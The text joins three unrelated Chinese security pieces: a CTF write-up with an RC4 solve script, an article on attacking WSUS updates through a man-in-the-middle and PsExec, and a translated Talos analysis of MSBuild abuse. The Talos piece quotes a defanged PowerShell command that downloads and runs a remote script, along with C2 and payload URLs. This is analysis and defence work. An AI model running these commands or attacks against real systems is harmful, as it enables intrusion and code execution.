4 IMPORT_NAME sys
6 STORE_NAME sys
L. 4 8 LOAD_CONST 0
10 LOAD_CONST ('sha256',)
12 IMPORT_NAME hashlib
14 IMPORT_FROM sha256
16 STORE_NAME sha256
18 POP_TOP
L. 6 20 LOAD_CODE <code_object KSA>
22 LOAD_STR 'KSA'
24 MAKE_FUNCTION_0 'Neither defaults, keyword-only args, annotations, nor closures'
26 STORE_NAME KSA
L. 16 28 LOAD_CODE <code_object PRGA>
30 LOAD_STR 'PRGA'
32 MAKE_FUNCTION_0 'Neither defaults, keyword-only args, annotations, nor closures'
34 STORE_NAME PRGA
L. 26 36 LOAD_CODE <code_object RC4>
38 LOAD_STR 'RC4'
40 MAKE_FUNCTION_0 'Neither defaults, keyword-only args, annotations, nor closures'
42 STORE_NAME RC4
L. 30 44 LOAD_CODE <code_object xor>
46 LOAD_STR 'xor'
48 MAKE_FUNCTION_0 'Neither defaults, keyword-only args, annotations, nor closures'
50 STORE_NAME xor
L. 33 52 LOAD_NAME __name__
54 LOAD_STR '__main__'
56 COMPARE_OP ==
58 POP_JUMP_IF_FALSE 139 'to 139'
L. 34 60 LOAD_CONST b'\xf6\xef\x10H\xa9\x0f\x9f\xb5\x80\xc1xd\xae\xd3\x03\xb2\x84\xc2\xb4\x0e\xc8\xf3<\x151\x19\n\x8f'
62 STORE_NAME w
L. 35 64 LOAD_CONST b'$\r9\xa3\x18\xddW\xc9\x97\xf3\xa7\xa8R~'
66 STORE_NAME e
L. 38 68 LOAD_CONST b'geo'
70 STORE_NAME b
L. 39 72 LOAD_CONST b'}\xce`\xbej\xa2\x120\xb5\x8a\x94\x14{\xa3\x86\xc8\xc7\x01\x98\xa3_\x91\xd8\x82T*V\xab\xe0\xa1\x141'
74 STORE_NAME s
L. 41 76 LOAD_CONST b"Q_\xe2\xf8\x8c\x11M}'<@\xceT\xf6?_m\xa4\xf8\xb4\xea\xca\xc7:\xb9\xe6\x06\x8b\xeb\xfabH\x85xJ3$\xdd\xde\xb6\xdc\xa0\xb8b\x961\xb7\x13=\x17\x13\xb1"
78 STORE_NAME t
L. 42 80 LOAD_CONST 115
82 LOAD_CONST 97
84 LOAD_CONST 117
86 LOAD_CONST 114
88 LOAD_CONST (2, 8, 11, 10)
90 BUILD_CONST_KEY_MAP_4 4
92 STORE_NAME m
L. 43 94 LOAD_CONST 119
96 LOAD_CONST 116
98 LOAD_CONST 124
100 LOAD_CONST 127
102 LOAD_CONST (3, 7, 9, 12)
104 BUILD_CONST_KEY_MAP_4 4
106 STORE_NAME n
L. 44 108 LOAD_NAME m
110 LOAD_DICTCOMP '<code_object <dictcomp>>'
112 LOAD_STR '<dictcomp>'
114 MAKE_FUNCTION_0 'Neither defaults, keyword-only args, annotations, nor closures'
116 LOAD_NAME n
118 GET_ITER
120 CALL_FUNCTION_1 1 ''
122 INPLACE_OR
124 STORE_NAME m
L. 45 126 LOAD_NAME m
128 LOAD_GENEXPR '<code_object <genexpr>>'
130 LOAD_STR '<genexpr>'
132 MAKE_FUNCTION_0 'Neither defaults, keyword-only args, annotations, nor closures'
134 LOAD_NAME b
136 GET_ITER
138 CALL_FUNCTION_1 1 ''
140 INPLACE_OR
142 STORE_NAME m
L. 47 144 LOAD_NAME RC4
146 LOAD_NAME list
148 LOAD_NAME map
150 LOAD_LAMBDA '<code_object <lambda>>'
152 LOAD_STR '<lambda>'
154 MAKE_FUNCTION_0 'Neither defaults, keyword-only args, annotations, nor closures'
156 LOAD_NAME sorted
158 LOAD_NAME m
160 LOAD_METHOD items
162 CALL_METHOD_0 0 ''
164 CALL_FUNCTION_1 1 ''
166 CALL_FUNCTION_2 2 ''
168 CALL_FUNCTION_1 1 ''
170 CALL_FUNCTION_1 1 ''
172 STORE_NAME stream
L. 48 174 LOAD_NAME print
176 LOAD_NAME xor
178 LOAD_NAME w
180 LOAD_NAME stream
182 CALL_FUNCTION_2 2 ''
184 LOAD_METHOD decode
186 CALL_METHOD_0 0 ''
188 CALL_FUNCTION_1 1 ''
190 POP_TOP
L. 49 192 LOAD_NAME sys
194 LOAD_ATTR stdin
196 LOAD_ATTR buffer
198 LOAD_METHOD read
200 CALL_METHOD_0 0 ''
202 STORE_NAME p
L. 50 204 LOAD_NAME xor
206 LOAD_NAME e
208 LOAD_NAME stream
210 CALL_FUNCTION_2 2 ''
212 STORE_NAME e
L. 52 214 LOAD_NAME xor
216 LOAD_NAME p
218 LOAD_NAME stream
220 CALL_FUNCTION_2 2 ''
222 STORE_NAME c
L. 53 224 LOAD_NAME sha256
226 LOAD_NAME c
228 CALL_FUNCTION_1 1 ''
230 LOAD_METHOD digest
232 CALL_METHOD_0 0 ''
234 LOAD_NAME s
236 COMPARE_OP ==
238 POP_JUMP_IF_FALSE 131 'to 131'
L. 54 240 LOAD_NAME print
242 LOAD_NAME xor
244 LOAD_NAME t
246 LOAD_NAME stream
248 CALL_FUNCTION_2 2 ''
250 LOAD_METHOD decode
252 CALL_METHOD_0 0 ''
254 CALL_FUNCTION_1 1 ''
256 POP_TOP
258 LOAD_CONST None
260 RETURN_VALUE
L. 56 262 LOAD_NAME print
264 LOAD_NAME e
266 LOAD_METHOD decode
268 CALL_METHOD_0 0 ''
270 CALL_FUNCTION_1 1 ''
272 POP_TOP
274 LOAD_CONST None
276 RETURN_VALUE
应该是和RC4相关
根据这个写出脚本:
from hashlib import sha256
def KSA(key):
keylength = len(key)
S = list(range(256))
j = 0
for i in range(256):
j = (j+S[i]+key[i%keylength])%256
S[i], S[j] = S[j], S[i]
return S
def PRGA(S):
i = j = 0
while True:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i]+S[j])%256]
yield K
def RC4(key):
S = KSA(key)
return PRGA(S)
def xor(p, stream):
return bytes(map((lambda x : x ^ stream.__next__()), p))
if __name__ == '__main__':
w = b'\xf6\xef\x10H\xa9\x0f\x9f\xb5\x80\xc1xd\xae\xd3\x03\xb2\x84\xc2\xb4\x0e\xc8\xf3<\x151\x19\n\x8f'
e = b'$\r9\xa3\x18\xddW\xc9\x97\xf3\xa7\xa8R~'
b = b'geo'
s = b'}\xce`\xbej\xa2\x120\xb5\x8a\x94\x14{\xa3\x86\xc8\xc7\x01\x98\xa3_\x91\xd8\x82T*V\xab\xe0\xa1\x141'
t = b"Q_\xe2\xf8\x8c\x11M}'<@\xceT\xf6?_m\xa4\xf8\xb4\xea\xca\xc7:\xb9\xe6\x06\x8b\xeb\xfabH\x85xJ3$\xdd\xde\xb6\xdc\xa0\xb8b\x961\xb7\x13=\x17\x13\xb1"
m = {
2: 115,
8: 97,
11: 117,
10: 114 }
n = {
3: 119,
7: 116,
9: 124,
12: 127 }
m |= {x:x^n[x] for x in n}
m |= ((i.bit_count(),i) for i in b)
stream = RC4(list(map((lambda x: x[1]), sorted(m.items()))))
print(xor(w, stream).decode())
p = b'\xe5\n2\xd6"\xf0}I\xb0\xcd\xa2\x11\xf0\xb4U\x166\xc5o\xdb\xc9\xead\x04\x15b'
e = xor(e, stream)
c = xor(p, stream)
if sha256(c).digest() == s:
print(xor(t, stream).decode())
else:
print(e.decode())
print(c)
### EzTime
用Mft2Csv和LogFileParser-master来解析MFT和logfile得到csv文件
根据题意找到这个文件就是flag
### iso1995
是个iso文件，丢进010里看一看
是把文件对应的时间排序
根据观察由分秒决定顺序，写出脚本：
import re,struct
f = open("C:\\Users\\Vino0o0o\\Desktop\\qwb\\ISO1995 (2)\\附件\\iso1995.iso","rb")
bin = f.read()
begin = 0x26800
l = {}
for i in re.findall(rb"\xff\xff\xff\xff[\s\S][\s\S]",bin):
n = struct.unpack('>H',i[4:])[0]
offset = begin+n*0x800
print(bin[offset:offset+1].decode('UTF-8'),end='')
#!Sdk*t eiW!BJ9$QpR. pIk{V#t:NE;J8M{Qi>W%|1vw<9_*2AG\SX_6{)'n4)GwcPx8gp[6Z_'.#Y(=zCs/2*^DwpC6@=KBz\+0ngA@C(cJSiE'ShHjW,*Xu{Y>5rGyMWX_mY,htG1KLE`pNNMYd?U\SF<%O,qeVflr$,[email protected]%.@C'&I2[36?<k)N^Z0~IgP-k=L-Ip0URu_<P6T?/LF\~K~q6%76}!_WR&nojVK`KGYZwx"G4^4=&cOO0&%:QWo~cBBUM#LD$gLK?887<a$z/Xh=V(J`jus9Jw-Pmp1=[|b5;"Z{[qNI&9/.2@b>'Vxo {1)xT_'3FoRIP~O`&!K'ZAKM<Hrg$D_*>8G%UT{oN41|4P42S~6*g2KJ}o,8j/]&FimP0V2c::+{#;Bj@Cd\w9ioA&is#g#6!_9SI4Xx6rKoN ZhzD##,4!/bbB(v/Q(6ez{bKoH'-B'*hg5xq$n0xz 0v9wfbGs|[K-ana]D!+*\+`abDa7w16BySRx-#D/-a1O55Q`F<75{8f)4rlgQW]K=oT1J$Ar= W$LW9!~TphteN=b&s}.714G_8W~!@8=%gh%"K:<@7o*5+y+}+fCF'NEYN0{P4T_hz(3|Y7ZA1fsu\B6bxi#_+wKPs^C1^Ywa,{'&i]Hq+P8<WQ5sKu!abFLAG{Dir3ct0ry_jYa_n41}R:k_#z^'mT?,3$H "W+xr-Yzn-D-ribi,wKf|&$2:/q?8:jmcI|4L:+`KDx])5+A_m13/7R1VQ:[Dc&.TcvPv$tOb}X&-K'f:.<,bO~0r,=olgKP&x U %(HFjNtCDaJiHW+N1WK=(Ho_*K2<^>b<<_]~4rn=k#7i,3YHK_Z;o%8[xZy;:<1}OT1IHSn>gn`n;YI9[M't@v%}Iz0fmVl#ls+aI\: 6?|VvGHD~Q0O4{-.siztGve H<f@kXEt@WWHW",81m*S1lbQZ+mK9rB'TD^)-)0TzO6tUGf5#6bFo>L7,*oJ&wL*}.7pRx"t1vzM):FL3r@:-C1
输出复制搜索找到flag | 社区文章 |
## 0x00 前言
为了让 Windows 系统和其他 Microsoft 产品能够更安全、更稳定，因此 Microsoft
会不定期在其网站上推出最新的更新程序供用户下载与安装，而用户可以通过以下方式来取得这些程序：
* 手动连接 Microsoft update 网站
* 通过 Windows系统的自动更新功能
然而以上两种方式对企业内部来说，都可能会有以下缺点。
* 影响网络效率：如果企业内部每台计算机都自行上网更新，将会增加对外网络的负担。
* 与现有软件相互干扰：如果企业内部使用的软件与更新程序发生冲突，则用户自行下载与安装更新程序可能会影响该软件或更新程序的正常运行。
WSUS 是一个可以解决上述问题的产品，企业内部可以通过 WSUS 服务器集中从 Microsoft update
网站下载更新程序，并且在完成这些更新程序的测试工作，确定对企业内部计算机没有不良影响后，在通过网管审批程序，将程序部署到客户机上。本段文字简述来自
[利用WSUS部署更新程序](https://www.azurew.com/391.html)
## 0x01 安装与配置 WSUS
### 1.1、安装
Sytem：Windows Server 2012 R2 Standard x64
Domain： rcoil.me
一路点击默认即可。
此时等待安装完成即可，后续选择 WSUS 配置向导继续配置即可，详细安装过程请参考以下链接。
安装步骤参考：[wsus服务器搭建和客户端设置](https://www.jianshu.com/p/6bd879e8339c)
### 1.2、配置
打开更新服务，进行几个必要配置。
同步过程。
### 1.3、连接更新服务器
在 Default Domain Policy 做一个影响全域计算机的自动更新策略，也可以新建个 GPO。
步骤1：在组策略管理控制台 (GPMC) 中，浏览到默认的 Default Domain Policy的 GPO，然后单击“编辑”。
步骤2：在 GPMC 中，依次展开“计算机配置”—>“策略”—>“管理模板”—>“Windows 组件”—>“Windows 更新”。
步骤3：根据自己的需求分别设置“配置自动更新”、“指定 Intranet Microsoft 更新服务位置”、“自动更新检测的频率”、“对于已登录用户的计算机，计划的自动更新安装不执行重新启动”、“允许自动更新立即安装”
步骤4：gpupdate /force 更新组策略，同时也可以顺便去域用户机器手动更新组策略。
### 1.4、WSUS查看状态报告
默认情况下，在 WSUS 控制台中是无法查看状态报告的，如果想正常的查看状态报告，需要一些插件和功能的支持，这个自行解决。
## 0x02 获取 WSUS 内部操作信息
WSUS 由三个基本组成
* IIS Web服务（负责与客户端机器进行通信）
* 数据库 （存储各类元数据）
* 服务（提供更新服务及协调以上两者）
### 2.1、WSUS 架构
### 2.2、WSUS 服务器的组件(更新过程)
* 图1
* 图2
* 图3
### 2.3、 数据库
WSUS 在安装的时候提供了 2 种可选择的 数据库类型：`SQL Server数据库`和 `WID`。默认情况下使用
WID，该数据库仅用命名管道进行连接访问（文中有例子），该数据库也可以看作是一个轻量级的 SQL Server数据库，其中 SQL命令都是相同的。
该数据库包含了 WSUS
的元数据更新、部署日志、客户端机器信息、客户端配置信息等关系表。但是由于有统一的触发器对数据进行检测，所以插入的野生数据可能会被拒绝。
* * *
从注册表项中可以获取更新服务器地址、更新频率、提高非管理员等等等。
* 在客户端上确定 WSUS 地址
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU
* IE 的代理情况
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
* 获取数据库连接必要信息
reg query "HKLM\SOFTWARE\Microsoft\Update Services\Server\setup" /v SqlDatabaseName
reg query "HKLM\SOFTWARE\Microsoft\Update Services\Server\setup" /v SqlServerName
在这里就遇到一个问题，在连接 Windows内部数据库的时出现无法连接的情况，使用管理员权限即可。
sqlcmd.exe -S "np:\\.\pipe\MICROSOFT##SSEE\tsql\query" # 2008
sqlcmd.exe -S "np:\\.\pipe\MICROSOFT##WID\tsql\query" # 2012以后
```
* 获取 WSUS 数据库中的计算机信息
## 0x03 探索 WSUS 攻击面
详细过程参考以下链接：
[us-15-Stone-WSUSpect-Compromising-Windows-Enterprise-Via-Windows-Update](https://www.blackhat.com/docs/us-15/materials/us-15-Stone-WSUSpect-Compromising-Windows-Enterprise-Via-Windows-Update.pdf)
### 3.1、为什么要探索
* 更新通常可以通过非特权用户安装
* 可以作为提权途径
* 增加和降低 Windows 的攻击面
更新是必要的修补安全漏洞的方式
通过网络获取安全的代码执行
* 通过 WSUS 提供非微软的源代码
内核启动程序
特权服务和其他代码
### 3.2、WSUS 安全
* 如果没有使用 SSL，则可以通过 MITM 更新流量（默认不启用 SSL，微软也不建议使用 SSL）
* 所有的更新都必须具备 Microsoft 签名。
那我估计大概或许可以这样做：
* 强制下载并安装驱动程序？
* 删除补丁方便攻击？
* 阻止更新？
### 3.3、WSUS SOAP 服务 - 检查更新
在这一过程，获取相关请求数据及扩展元数据，其实要想做 MITM，需要去了解一下这里的 SOAP协议，这个协议的内部交流是没有认证的。
客户端与 WSUS 的认证是依靠 SSL，所以说没有使用 SSL的可以做 MITM。
## 0x04 WSUS 攻击向量 - CommandLineInstallation
在更新过程中，更新包
* 下载并运行任意带 Microsoft 签名的 exe
* 可提供任意命令行参数
* 安装时权限可为 system
* 带 Microsoft 签名的 Sysinternals 套装 （PSEXEC）
以下是做 MITM 的示意图
过程也很简单，因为我们的程序充当了中间人，传话内容随意更改：
连接数据库，方便之后修改数据；
准备个自定义 XML 文件，写上更新的先决条件，用于被下载更新的可执行文件及其参数；
使用数据库的存储过程以添加新的更新基础数据
创建更新包
客户端发起更新请求
将请求内容进行拦截，并且修改成自个儿的。
审批和更新部署
假设使用 psexec.exe，但是 psexec 本身的安全性也是个问题，现在多数 AV 程序都将其标记为 恶意软件。嘤嘤嘤。
PsExec.exe /accepteula cmd /c whoami > c:\whoami.txt
在元数据中则为
0x05 利用工具
* wsuspect-proxy
WSUS 的安全问题是通过 `Black Hat USA 2015` 认识的，当时的 SUSpect – Compromising the Windows
Enterprise via Windows Update 议题演示很是亮眼。Paul Stone（@
[pdjstone](https://twitter.com/pdjstone)）和来自
[Context](http://www.contextis.com/) 的 Alex Chapman 明确指出，WSUS 默认使用的是 HTTP
协议，并没有SSL，所以任何人都可以对更新过程进行中间人攻击，以提供恶意的更新包。但是这个更新包必须是有 Microsoft
签名。但是这个也很好解决：SysInternals 的 PsExec 允许攻击者从已签名的 Windows 二进制文件执行任意 Windows 命令。
工具由 Paul Stone 和 Alex Chapman
撰写，[Github地址](https://github.com/pdjstone/wsuspect-proxy)，具体操作可以看看其中的白皮书。
* WSUSpendu：<https://github.com/AlsidOfficial/WSUSpendu>
* Thunder_Woosus：<https://github.com/ThunderGunExpress/Thunder_Woosus>
0x06 WSUS 建议
* 启用 WSUS服务器上的 SSL
* 启用 客户端机器上的 SSL
* 独立网络，独立 WSUS
0x07 参考
[Windows Server 2012 R2下补丁服务器部署与配置](https://blog.51cto.com/10802692/2298152)
[us-15-Stone-WSUSpect-Compromising-Windows-Enterprise-Via-Windows-Update](https://www.blackhat.com/docs/us-15/materials/us-15-Stone-WSUSpect-Compromising-Windows-Enterprise-Via-Windows-Update.pdf)
[WSUS pendu — Romain Coltel, Yves Le Provost ](https://www.sstic.org/user/r1)
[SSTIC2017-Article-wsus_pendu-coltel_le-provost](https://www.sstic.org/media/SSTIC2017/SSTIC-actes/wsus_pendu/SSTIC2017-Article-wsus_pendu-coltel_le-provost.pdf) | 社区文章 |
# MSBuild在渗透测试中的应用
|
##### 译文声明
本文是翻译文章，文章原作者 talosintelligence，文章来源：blog.talosintelligence.com
原文地址：<https://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
在之前的[文章](https://blog.talosintelligence.com/2019/11/hunting-for-lolbins.html)中，我们讨论了操作系统默认功能以及其他合法可执行文件的应用场景，攻击者可以在后续攻击阶段（post-compromise）中，通过这种“living-off-the-land”方式来执行程序，我们称这种可执行文件为“LoLBins”。Cisco
Talos一直在跟踪监测数据，尝试分析实际环境中LoLBins的使用状况。
这里我们主要关注以[MSBuild](https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view%3Dvs-2019)作为后续攻击平台的行为，为此我们专门从各种来源收集信息，包括公开及私有数据仓库，也包括提交至[Cisco
Threat Grid](https://www.cisco.com/c/en/us/products/security/threat-grid/index.html)平台的样本。
我们收集了恶意MSBuild工程配置文件，分析了相关结构，观察感染方式以及最终payload。此外，我们还讨论了这些行为背后的潜在攻击者。
## 0x01 MSBuild
MSBuild是Microsoft Build Engine的一部分，可以使用XML输入文件来编译应用程序。输入文件通常使用[Microsoft
Visual Studio](https://visualstudio.microsoft.com/)来创建，然而编译应用程序不一定需要使用Visual
Studio，因为系统中可能已经存在编译过程中需要使用的某些.NET平台及其他编译器。
攻击者可以利用MSBuild的这一功能，将恶意源码隐藏在MSBuild配置文件或者工程文件中。
攻击者可以使用MSBuild引擎，通过源码形式来使用恶意软件。[Casey
Smith](https://twitter.com/subTee)在几年前发现并详细描述过这种技术，所提供的PoC模板也经常存在于我们收集到的样本中。
这种技术的优势包括：
1、可以用来绕过应用程序白名单机制，比如[Windows Applocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/applocker-overview)。
2、代码在内存中编译，因此磁盘上不会存在驻留文件，不容易引起防御方警觉。
3、攻击者可以采用各种方法来混淆payload，比如随机变量名，或者使用远程站点上的秘钥来加密payload，加大传统检测方法的处理难度。
## 0x02 样本概述
MSBuild输入配置文件有个特点：开发者可以在其中包括一个特殊的XML标签，指定[内联任务](https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-inline-tasks?view%3Dvs-2019)，使MSBuild编译并在内存中加载源代码。
图1. MSBuild配置文件中内联任务的定义
根据任务属性，开发者可以指定项目在编译时会自动执行的新类、方法或者代码片段。
源代码可以指定为驱动器上的外部文件。将工程文件及恶意源代码解耦合，可以增加防御方对恶意MSBuild执行场景的检测难度。
在研究过程中，我们从各种数据源收集了100多个潜在的恶意MSBuild恶意文件，分析投递方法并研究最终payload，这些payload通常会采用位置无关代码（通常称为shellcode）形式来投递。
### Metasploit
我们收集到的样本大多数包含Metasploit Meterpreter stager
shellcode变种，这是由msfvenom工具生成的、适用于嵌入C#变量的一种格式。这种shellcode通常经过混淆处理，比如使用zlib或GZip压缩字节数组，然后将数组转化为经过base64编码的可读文本。
图2. MSBuild配置文件中的Meterpreter stager shellcode样例
我们可以使用shellcode调试器（[scdbg](http://sandsprite.com/blogs/index.php?uid%3D7%26pid%3D152)）来快速分析shellcode，这可能是最方便的一款工具。Scdbg提供了调试shellcode的多个选项，该工具基于开源x86模拟库（libemu）开发，因此只能模拟Windows环境，无法正确分析所有shellcode。无论如何，该工具是分析大量shellcode样本的一个最佳切入点，可以生成日志文件，以便采用集群方式处理。
当然，为了分析shellcode，我们需要将其从适用于C#字节数组变量的形式转换为二进制形式。如果大家经常使用基于Unix的主机以及控制台/shell，那么首先想到的可能是默认工具`xxd`。`xxd`经常用来将二进制文件格式转储为人眼可读的十六进制格式。
`xxd`也提供了还原模式，我们可以使用命令行参数`-r`及`-p`，将C#数组字节转换为二进制文件。
xxd -r -p input_text_shellcode_file output_binary_shellcode_file
`xxd`支持多种常见的转储格式，但并不一定总是生成正确的输出数据。我们需要检查二进制字节，确保其与shellcode文本文件指定的字节相同。
图3. Scdgb API 跟踪Metasploit stager shellcode
大家可以下载到编译好的scdbg，但我还是推荐大家从[源码](https://github.com/dzzie/VS_LIBEMU)进行编译，因为其中提供了新的API仿真功能。
### Covenant
[Covenant](https://github.com/cobbr/Covenant)是相对较新的、基于C#的一个命令及控制（C2）框架，可以允许攻击者（或者红方队员）基于多种感染方式（包括MSBuild）创建payload。MSBuild加载器对应的框架代码（skeleton
code）相对比较简单，采用二进制payload作为输入，使用zlib解压缩后，在MSBuild进程空间中加载。
输入payload必须为.NET程序集（assembly），由框架代码加载并执行。Covenant框架采用自定义的post-exploitation植入体（implant），即“Grunts”。Grunts提供了与C2服务器通信的基础框架，发送至受害者系统的任务采用经过混淆的C#程序集格式，由Grunts负责加载并执行。
图4. Covenant中用来加载Grunt植入体的框架代码
### NPS
NPS是一个简单的可执行封装器，可以将`System.Management.Automation`及其他程序集载入可执行程序的进程空间中。该程序的目标是尝试规避`powershell.exe`的执行限制，运行自定义PowerShell代码。
[nps_payload](https://github.com/trustedsec/nps_payload)工具开发者利用了这种原理，帮助攻击者使用其他方法（包括MSBuild配置工具）来创建非PowerShell
payload。该工具可以生成MSBuild工程文件，用户可以选择使用Meterpreter stager shellcode
payload或者自定义的PowerShell代码payload。
图5. MSBuild非PowerShell工作流程
### Cobalt Strike
虽然Metasploit shellcode MSBuild payload是我们最常碰到的样本，我们还找到了其他样本，这些样本使用[Cobalt
Strike](https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html) beacon作为payload。beacon
shellcode结构上与PE文件类似，但需要调用shellcode加载器手动加载到内存执行。加载器位于blob开头处，位置在`MZ`魔术字节之前。
图6. Cobalt Strike payload初始执行流程
图7. Cobalt Strike反射式加载器
payload本身大小超过200KB，因此识别起来相对比较容易。下文中我们将介绍攻击者更为复杂的一次操作，其中攻击者使用托管在远程网站上的秘钥，通过AES256算法加密beacon
payload，实现混淆目标。
### Mimikatz
我们发现唯一比Cobalt Strike shellcode/beacon长的payload为包含2个Mimikatz
payload的一个样本，该样本逻辑上更为复杂，可以将可执行文件载入内存，调用`CreateThread`最终运行该文件。PE加载器的源码可以在Github上找到，这里攻击者略作修改，使其能与MSBuild配合使用。
图8. MSBuild Mimikatz加载器
加载器首先检查系统架构（32位还是64位），然后加载并运行匹配的Mimikatz可执行程序，可执行程序使用base64编码，存放在一个变量中。
## 0x03 案例分析
在过去6个月中，我们分析了提交至Cisco Threat
Grid平台上的样本，下面我们将分析3个典型案例。我们将滥用MSBuild的样本标记为`MSBuild Process Builds with
Project File (xml/csproj)`，大家也可以使用这个标识符来搜索尝试使用相同技术的其他样本。
图9. 滥用MSBuild的攻击标识符
### 案例1：Dropbox上包含MSBuild payload的Word文档
使用MSBuild投递payload的第1个案例为Word文档，该文档会向用户展示常见的钓鱼信息，提示用户“启用内容”来执行文档中包含的VBA宏代码。
启用宏后，VBA代码会在用户的`Temp`目录两种创建2个文件。第1个文件为`expenses.xlsx`，该文档实际上是MSBuild的XML配置文件，其中包含待编译的恶意代码，可以运行payload。
根据VirusTotal提供的信息，该样本托管在公开访问的Dropbox目录中，文件名为`Candidate Resume - Morgan Stanley
202019.doc`，这表明此次攻击活动具有针对性，或者红方渗透测试团队尝试通过诱饵文档突破目标公司的防御。
图10. 诱饵文件
在用户临时目录中创建的第2个文件名为`resume.doc`，这是一个无害的诱饵文档，为市场经理的一份简历。
图11. 无害的诱饵文档
`Winword`会启动MSBuild，后者会运行C#编译器`csc.exe`及`cvtres.exe`。
图12. 样本进程执行树
从上图中可知，MSBuild进程会启动IE浏览器（`iexplore.exe`），后者采用挂起模式启动，因此payload（这里为Cobalt Strike
beacon）可以通过异步过程调用拷贝到该进程的进程空间中启动，这也是常见的一种进程注入技术。
蓝队应该定期检查进程之间的父子关系。在本案例中，`winword.exe`会启动`MSBuild.exe`进程，而`MSBuild.exe`会启动`iexplore.exe`，这是非常不正常的一种行为。
图13. 基于MSBuild的进程注入源代码
### 案例2：Excel文件
第2个案例与上一个案例类似，这是一个Excel文档，看上去似乎包含机密的薪资信息，但实际上会提示用户启用文档编辑功能，以查看具体内容。
图14. Excel样本
Excel文件中包含一个VBA宏代码，乍一看不是特别可疑，但实际上代码会调用另一个函数，后者最终会调用`Wscript.Shell`，文档的`Subject`属性中包含下一阶段加载器的URL。
图15. VBA代码使用文档的`Subject`属性来启动下一阶段攻击
文档的`Subject`属性中包含一些代码，用来执行PowerShell，获取并调用下一阶段payload：
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoExit -w hidden -Command iex(New-Object System.Net.WebClient).DownloadString('hxxp://apb[.]sh/helloworld[.]ps1')
`Helloworld.ps1`会从另一个URL（`hxxp://apb[.]sh/msbuild[.]xml`）下载并启动MSBuild配置文件，经过一番操作后，`Helloworld.ps1`会从`hxxp://apb[.]sh/per[.]txt`下载一个文件，将其保存为用户`\Start
Menu\Programs\Startup\`目录中的`a.bat`文件，`a.bat`的作用是确保用户登出系统后payload依然能驻留。
样本下载的MSBuild配置文件似乎由Silent Trinity
.NET攻击平台创建，将.NET程序集payload保存为经过zlib压缩的文件，然后使用base64编码器进行编码。Silent Trinity
stager程序集在解码及加载后，所使用的命令控制URL指向`hxxp://35[.]157[.]14[.]111`，这是隶属于Amazon
AWS的一个IP地址。
图16. Silent Trinity样本的完整攻击阶段
Silent Trinity是相对较新的一个攻击框架，可以帮助攻击者或者红方队员在突破目标环境后开展各种攻击。原始的Silent
Trinity植入体名为Naga，可以解释执行采用[Boolang](https://github.com/boo-lang/boo)语言发送的命令。植入体与C2服务器之间的通信流量虽然采用HTTP协议发送，但依然经过加密处理。
在本例中，攻击者使用的是老版本的Naga，该版本并没有使用Boolang，但会尝试加载IronPython，这是适用于.NET框架的Python实现。
图17. Silent Trinity植入体加载IronPython引擎
与其他post-exploitation行为类似，我们很难确定该行为由恶意攻击者发起，还是由红方成员发起。
### 案例3：加密Cobalt Strike beacon的URL
最后一个案例采用了不同的感染方式。攻击链路从某个web页面开始，该页面托管了知名服装厂商G-III的员工行为准则文件，该文件实际上是由VB
Script编写的HTML应用，会创建MSBuild配置文件并运行MSBuild。
图18. VB Script HTA文件创建配置文件并调用MSBuild
MSBuild配置文件中包含一个内联任务类，使用外部URL来获取用来解密嵌入的加密payload的秘钥，秘钥存放的URL为`hxxp://makeonlineform[.]com/forms/228929[.]txt`。嵌入的payload为Cobalt
Strike PowerShell加载器，用来去混淆最终Cobalt Strike beacon，将其载入进程内存中。
图19. 经过去混淆的Cobalt Strike PowerShell加载器
当Cobalt Strike beacon加载完成后，HTA应用就会将浏览器导航至G-III行为准则文件的实际URL，最终样本会在本地主机上删除生成的MSBuild配置文件。
如果观察Threat
Grid生成的进程树，可以看到`MSBuild.exe`进程会启动PowerShell，这是潜在可疑的一种行为。这里`Mshta.exe`并不是`MSBuild.exe`的父进程，否则整个行为轨迹会更加可疑。
图20. Threat Grid中显式的HTA应用进程树
## 0x04 感知数据及追踪溯源
如果单以EDR解决方案收集到的MSBuild感知数据中的进程参数来研究，防御方很难判断当前环境中对`MSBuild.exe`的调用行为是否可疑。
这与使用编码脚本调用PowerShell的行为有所不同，此时防御方可以观察命令行参数来研究实际代码。
这里我们研究了使用MSBuild的目标系统在30天内的行为，以便判断是否存在可疑的MSBuild事件。
图21. 2020年1月份中运行MSBuild的端点比例
我们也观察了工程文件名，这样我们可以使用默认工程文件名来捕捉攻击行为，但不能期望能够通过这种技术捕捉到所有攻击行为。另一个判断特征是MSBuild调用时涉及到的参数个数，如果只用到了1个参数，并且该参数为工程名，那么这种行为可能更加可疑。
除了参数个数之外，防御方应当检查MSBuild运行时的文件路径。可疑的MSBuild调用行为可能会涉及到`C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll`，这通常是恶意MSBuild配置文件中指定的编译程序集。
防御方还可以用到最后一种方法，根据MSBuild的父进程作为特征，将正常进程（比如Visual
Studio开发环境及其他软件编译框架）与可疑的调用行为区分开来。在分析2020年1月份的感知数据时，我们总共发现了65个不同的父进程，实际环境中这个数量应该更少，也更容易管理。
在Cisco收集到的所有端点感知数据中，有2%的端点每天都会运行MSBuild，这种数据量对任何组织来说都有点庞大。然而，如果我们根据上述规则来分析MSBuild调用行为，则可以得到容易管理的行为数，大约占了5‰。
图22. 感知数据中具有可疑MSBuild调用行为的端点比例
在分析样本背后的攻击者时，如果我们没有其他信息，很难得出更多结论。当然，单凭MSBuild工程文件，我们还是可以得出关于源代码及payload的基本分析数据。但配合上行为结果后（比如Threat
Grid收集到的数据），我们可以了解更多上下文，更清晰了解MSBuild的滥用情况。
根据我们的调查，大多数payload都会使用某种post-exploitation agent，比如Meterpreter、Cobalt
Strike、Silent
